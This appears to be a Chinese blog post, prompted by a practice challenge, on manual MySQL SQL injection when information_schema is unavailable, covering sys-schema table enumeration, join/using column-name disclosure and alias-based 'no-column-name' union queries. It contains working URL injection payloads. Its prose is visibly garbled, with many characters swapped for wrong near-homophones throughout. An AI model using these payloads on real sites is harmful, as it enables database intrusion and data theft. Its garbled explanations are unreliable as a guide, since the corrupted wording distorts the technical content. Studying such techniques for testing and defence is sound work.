|
|
<
媒介
正在脚工SQL注进时,我们经常会念着操纵 information_schema库 去停止爆数据库名、表名、字段名,但假如 information_schema库 被禁用了怎样办?
恰好碰到了如许一讲题,以是去记载一放学习
简朴引见一下information_schema库
mysql中的information_schma那个库是干吗的,正在sql注进中它的感化是甚么,那末有无能够替换那个库的办法呢?
简朴来讲,information_schma库便像是mysql的疑息数据库,它保留着mysql效劳器所保护的一切其他数据库的疑息,固然也便包含了数据库名、表名、列名。
正在注进时,infromation_schema库的感化便是获得table_schema、table_name、column_name那些数据库内乱的疑息。
MySQL5.7的新特征
正在mysql正在5.7版本中新删了sys.schema,根底数据去自于 performance_chema 战 information_schema 两个库,自己数据库没有存储数据
以是便有了几个能够代替infromation_schema注进是的感化
sys.schema_auto_increment_columns 对表自删ID的监控
查询表的统计疑息,此中借包含Innodb缓冲池统计疑息,默许状况下根据删编削查操纵的总表I/O提早工夫(施行工夫)降序排序
…
sys.schema_table_statistics_with_buffer
sys.x$schema_table_statistics_with_buffer
可是 sys.schema_auto_increment_columns那个库有些范围性,普通要超级办理员才能够会见sys。
相同能够操纵的表另有:
mysql.innodb_table_stats、mysql.innodb_table_index一样寄存有库名表名
无列名注进
上里的办法的确能够读与到数据库名战表名,可是列名呢?并出有找到能够读与列名的表
操纵join-using注列名
经由过程体系枢纽词join可创立两个表之间的内乱毗邻。经由过程对念要查询列名地点的表取其本身内乱毗邻,会因为冗余的缘故原由(不异列名存正在),而发作毛病。而且报错疑息会存正在反复的列名,可使用 USING 表达式声明内乱毗邻(INNER JOIN)前提去制止报错
- 爆表名
- ?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
- ?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
- 爆字段名
- 获得第一列的字段名及前面每列字段名
- ?id=-1' union select*from (select * from users as a join users as b)as c--+
- ?id=-1' union select*from (select * from users as a join users b using(id,username))c--+
- ?id=-1' union select*from (select * from users as a join users b using(id,username,password))c--+
- 数据库中as感化是起别号,as是能够省略的,为了增长可读性,倡议没有省略。
复造代码
一般查询
select 1,2,3,4,5 union select * from users;
无列名注进枢纽 便是要推测内外有几个列,要逐个对应上,上里例子是有5个列
1,2,3,4,5 的感化便是对列起别号,交换为前面无列名注进做筹办
接着就能够利用数字去对应列停止查询,如3对应了表里面的pass
select `3` from (select 1,2,3,4,5 union select * from users)as a;
便相称于select pass from (select 1,2,3,4,5 union select * from users)as a;
SQL 中反引号是能够代表数据库名战列名的
(select 1,2,3,4,5 union select * from users)as a 把括号里的查询数据重定名一张新的表 a,正在从中查询
当反引号被禁用时,就能够利用起别号的办法去代替
select b from (select 1,2, 3 as b ,4,5 union select * from users)as a;
正在注进时同时查询多个列
select group_concat(b,c) from (select 1,2, 3 as b , 4 as c ,5 union select * from users)as a;
其他爆表名的办法借能够延长,能够参考那个
https://osandamalith.com/2020/01/27/alternatives-to-extract-tables-and-columns-from-mysql-and-mariadb/
免责声明:假如进犯了您的权益,请联络站少,我们会实时删除侵权内乱容,感谢协作! |
1、本网站属于个人的非赢利性网站,转载的文章遵循原作者的版权声明,如果原文没有版权声明,按照目前互联网开放的原则,我们将在不通知作者的情况下,转载文章;如果原文明确注明“禁止转载”,我们一定不会转载。如果我们转载的文章不符合作者的版权声明或者作者不想让我们转载您的文章的话,请您发送邮箱:Cdnjson@163.com提供相关证明,我们将积极配合您!
2、本网站转载文章仅为传播更多信息之目的,凡在本网站出现的信息,均仅供参考。本网站将尽力确保所提供信息的准确性及可靠性,但不保证信息的正确性和完整性,且不对因信息的不正确或遗漏导致的任何损失或损害承担责任。
3、任何透过本网站网页而链接及得到的资讯、产品及服务,本网站概不负责,亦不负任何法律责任。
4、本网站所刊发、转载的文章,其版权均归原作者所有,如其他媒体、网站或个人从本网下载使用,请在转载有关文章时务必尊重该文章的著作权,保留本网注明的“稿件来源”,并自负版权等法律责任。
|